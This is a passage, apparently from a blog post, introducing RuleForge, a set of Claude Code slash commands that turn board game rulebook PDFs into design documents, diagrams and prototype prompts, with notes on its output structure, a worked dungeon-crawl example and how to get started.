`/procedural-generator`	Design procedural generation systems using the Watson et al. (2008) workflow.
`/game-comparison`	Side-by-side comparison of two RuleForge extractions.
`/pdf-to-markdown`	Convert any PDF to clean, well-structured Markdown. Useful as a standalone tool.

The output structure

Every skill writes into a game-scoped directory under output/. The game slug is derived automatically from the title in the rulebook. A .context.json metadata file lets downstream commands pick up where upstream ones left off — that's what makes the pipeline resumable.

A typical output for something like Terraforming Mars would contain a GDD, a feature CSV, a user stories CSV, Mermaid files for the game loop and architecture, a balance sheet, an onboarding flow design, and prototype prompts ready to paste into your AI prototyping tool of choice.

The solo dungeon bash

The repository also ships a solo-dungeon-bash/ directory — a worked example of the pipeline in action on a solo dungeon-crawl game. It's useful both as a reference output and as a test case to understand what the extraction quality actually looks like on a real game with real rules.

Why slash commands, not a CLI tool?

This is a deliberate choice. Claude Code's slash command system makes each step conversational and inspectable. You can run /identify-mechanics, read the output, decide the model missed a nuance, correct it manually, and then continue with /game-loop. That feedback loop would be much harder to preserve in a fully automated CLI pipeline.

It also means the tool is essentially zero-setup. Clone the repo, point Claude Code at the directory, and the commands are available. No build step, no package install, no configuration.

Get started

The project is on GitHub at github.com/sebs/ruleforge. Clone it, drop a rulebook PDF next to it, and start with /complexity-estimate path/to/your-game.pdf.

The design is intentionally modular — you don't have to run the full pipeline. If you just need a GDD from a rulebook, run /generate-gdd. If you want to compare two games, run /game-comparison. Each command is independently useful.

Board games are some of the most densely designed interactive systems humans have made. RuleForge is a bet that those designs are worth bringing into software — and that AI can do a lot of the translation work.